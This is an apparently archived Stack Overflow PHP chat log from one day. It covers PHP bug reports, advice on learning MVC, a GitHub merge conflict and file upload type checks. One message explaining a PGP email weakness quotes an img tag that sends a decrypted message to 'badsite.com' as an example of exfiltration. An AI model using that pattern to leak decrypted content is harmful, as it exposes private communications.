« first day (2773 days earlier)      last day (2168 days later) » 

1:29 AM
I have gave no one permission to mirror me. I have a stalker a please block me – #76357
 
2:23 AM
@Jeeves Wat?
 
 
1 hour later…
3:28 AM
looks like spam
Trend Micro's website checker says the link is safe
shrug, I can wget it from my vps, I'm going to be deleting it soon anyway
just a 404 page
weird
 
\o
I just used Potrace to turn an image into an svg, it's actually really cool how well it works
 
 
2 hours later…
5:16 AM
morning
I'm so trendy ...
 
@samayo I was looking for the same, couldn't find an official one.
 
 
2 hours later…
7:10 AM
mornin
 
7:27 AM
@JoeWatkins the day will come, you'll be #1 :-)
 
8:00 AM
sub rosa confidentially; secretly; privately.
 
 
1 hour later…
9:00 AM
Does awwwards investigate just websites that are in English?
 
9:22 AM
mornin 101.
 
10:13 AM
Motrngins
 
 
2 hours later…
12:05 PM
Morning all!
 
Wes
12:28 PM
morn
 
o/
 
Wes
\o
 
\o
 
Wes
1:08 PM
combo breaker
 
1:20 PM
combo breaker
 
2:16 PM
o/ Popped by in order to ping people about my new meta post relating to chat.
 
2:28 PM
!!mvc
 
How to do MVC: 1. Take any three things, ANY 2. Call them Model, View and Controller 3. Draw some arrows between them Done!
 
Can't you let cap do it for you @BenjaminGruenbaum?
 
@PeeHaa that would mean a second message.
 
It's generally much faster as waiting for SO to touch chat code
 
I figured a tracking issue was good - but apparently there is one already.
 
2:32 PM
:p
Status-ignored
:-)
 
I was actually going to ask about the MVC
is this a standard thing
I was looking at the php / mysql books in a bookstore (like 20 of them total) and it seems like the MVC is what is commonly used
is it just like a part of PHP programming at this point, a standard?
should I learn this?
 
Don't focus on solutions, focus on what's hard and what the problems are
 
as one of the topics
 
Read the tweet again
 
I've seen a good book by the way - How to make your own blog, coding step by step, all described, the whole book
 
2:38 PM
Focus on learning what separation of concerns is and why people to try to achieve this and why various architectural patterns address it.
 
@BenjaminGruenbaum - ok, so learn the MVC?
 
...
 
ok
 
I wish there was a baby groot guardians 2 generator
 
more clear after the edit
 
2:40 PM
You cannot even do mvc in php
Best you can get is terrible as it involves js
 
Don't focus on what people call MVC, focus on what you find challenging when writing apps or read about what other people found challenging and question that.
 
like I said, by these books there it seems like what people currently "do"
 
Only approach architecture when you understand the constraints you have - and use as little architecture as possible and evolve it as part of the process.
 
ok, so that MVC part - not really?
 
2:41 PM
Well it has pro in it so it probably knows better than any of us
 
maybe yes, maybe now, somewhere in the middle I guess
 
Read as many opinions as you can, I'm just saying you should focus on the problem being addressed rather than a solution.
 
ok, thanks
 
I would not buy a 2012 PHP book since it is likely to be outdated by now :D
I'd focus on books that focus on what's hard in software - those tend to be more timeless. This room likes Fowler's books but they can be a challenge.
 
Get a 2012 JS book instead! They really do age well
 
2:44 PM
lol
 
:P
 
bookstore may be a good place to go, I've been using the digital versions only but with the paper books you can read lets say in bed, highlight, make notes
so paper books, I will probably get like 10 of them
 
lol
 
That's usually even worse since they have even less updated books. I recommend starting with blogs and posts.
 
Get ready to become a failed developer
 
2:45 PM
either way, this was the impression that I had, like the MVC is what people do now, a standard, a part of PHP now
but maybe not
I will figure this out, also on google.com
thanks!!!
but paper books - can be good - check it out!!!
 
Good luck
 
I've seen JavaScript for PHP programmers from O'Reilly
 
lol
That better tell you how to include bootstrap into your pages :P
 
also something like PHP7 tables, like a 5-6 pages of the most important aspects of php on a thicker laminated paper
the same thing for CSS3 and other things like design patterns or something like that
new points of view / angles
and this can be good
I've seen these tables for the Bootstrap too, I will get that also
I am still preparing though
I will be doing the Murach's books, second half of the first one now, MySQL
 
You are dumping your thoughts in chat again
 
2:48 PM
then PHP+MySQL
 
Let them stay inside your head
 
and the person in the bookstore told me the same thing - do things, learn by practice
ok, thanks, again, check out the paper books!!!
 
3:19 PM
@ten5 Have you been to talk to your doctor about your OCD yet?
 
Wes
lol
 
4:09 PM
Did I miss the weekly ten5 ramble?
 
4:20 PM
I posted the link to this yesterday. Do you guys think PGP is dead? Does that mean something besides PGP Keys should be used on keybase? wired.co.uk/article/…
 
 
1 hour later…
5:24 PM
Cannot change session name when session is active – #76358
 
6:12 PM
^ Who wants the honour and the glory?
 
6:30 PM
@Danack Is it that you have to call session_name before session_start?
 
Morngins v0.something
 
@Danack Oh lol. Only now I see the reporter name :P
 
Yeah I noticed that.
Why I second guessed myself.
 
Now I get the incoherent whining
:P
 
aye
 
"demon dot co dot uk", obi-wan, now that's a name I've not heard in a long time.jpg
 
anyone expert in git here?
 
@Exception I sometimes hit the keyboard and yell at the screen till it works
Does that count?
 
in my case resolve conflict button at conversation tab is disabled
@MadaraUchiha haha joke of the year
 
6:45 PM
I wouldn't go that far... The year is not even half done
@Exception What "button"? Git is a command-line tool
 
@Exception That's GitHub
 
this is what I am talking about
 
And what it means is that it can't automatically resolve the conflicts for you
You would have to pull the changes for you, and merge locally, resolving the conflicts yourself.
 
I checked file and there is no conflict
 
6:47 PM
@Exception There wouldn't be any conflicts unless you actually try to go through with the merge
Click on the "view command line instructions" link
 
git suggests me some commands
 
4 mins ago, by Madara Uchiha
You would have to pull the changes for you, and merge locally, resolving the conflicts yourself.
 
Well that's good news! yahoo.com/news/…
 
7:26 PM
<?php
namespace Inspector\Debug {

	class Console {

	}
}
that's the whole days work ... I give up ...
 
Tom
@StatikStasis Nah. The vulnerability is in how mail clients work (in terms of fetching remote resource) and their generally terrible not in PGP itself.
 
Thanks for the clarity.
 
Wes
@kelunik which is the description for the property?
/**
 * this (1)
 *
 * @var string or this (2)
 */
public $foo;
 
Tom
In essence the mail client does this: <img src="http://badsite.com?message=[the encypted message]"> and thus your message gets sent off to the remote website after the message is decrypted so they can "view" your message by capturing $_GET['message'] their side.
PGP has a bunch of other problems like the fact that it is bolted on to emails as an afterthought. Encryption doesn't hide who you're emailing. Encrypted messages can't have their content checked for spam or make them easily searchable server-side so there are a lot of convenience trade-offs (security vs. convenience is the oldest battle in infosec)
 
7:41 PM
That makes sense.
 
Can I make a condition non-case-sensitive? Currently I've written the condition like this:
if ($imageFileType != "jpg" && $imageFileType != "JPG") { // throw error }
I'm asking that because in reality there are other types (png, gif, jpeg) too .. So that if-statement will be too long :-(
 
!!docs strncasecmp
 
[ strncasecmp() ] Binary safe case-insensitive string comparison of the first n characters
 
switch (strtolower($imageFileType)) {
    case "jpg":

    break;
}
that if many cases ...
 
good idea, thx
@JoeWatkins just for my information, is using strtolower() function optimal? I mean how it works in the background? I mean isn't checking $imageFileType != "jpg" && $imageFileType != "JPG" faster?
... than strtolower($imageFileType) != "jpg"
 
7:58 PM
making one comparison will be faster, making many will probably be faster in a switch ... and it doesn't really matter what is faster, that's not your problem, write code you can understand ...
and other people can understand ...
 
yeah, being readable is important, but performance is important too
 
sure, but this is not the sort of thing that makes any real difference to a web application anyway ...
 
even for 100 users online on the server?
 
yes
 
ah ok
 
 
1 hour later…
9:19 PM
@Shafizadeh you are doing it wrong
file types should be detected using secure.php.net/manual/en/function.finfo-file.php
there is also an object-style interface for it: secure.php.net/manual/en/finfo.file.php
 
9:52 PM
posted on May 20, 2018

New Cyanide and Happiness Comic

 
10:04 PM
@tereško oh, will be considered in the next commit
However I have followed this w3schools.com/php/php_file_upload.asp, so I guess it is a standard approach
 
@Shafizadeh W3Schools should not be trusted as a reliable resource. Click here to read why. Check the official PHP Documentation for help with PHP.
 
 
1 hour later…
11:14 PM
PASSWORD_ARGON2I is an undefined constant – #76360
 
11:46 PM
!!lxr PASSWORD_ARGON2I
 
@Danack Nothing went wrong but I couldn't find a suitable definition
 
!!lxr password_hash
 
[ /ext/standard/password.c#412 ] PHP_FUNCTION(password_hash)
 

« first day (2773 days earlier)      last day (2168 days later) »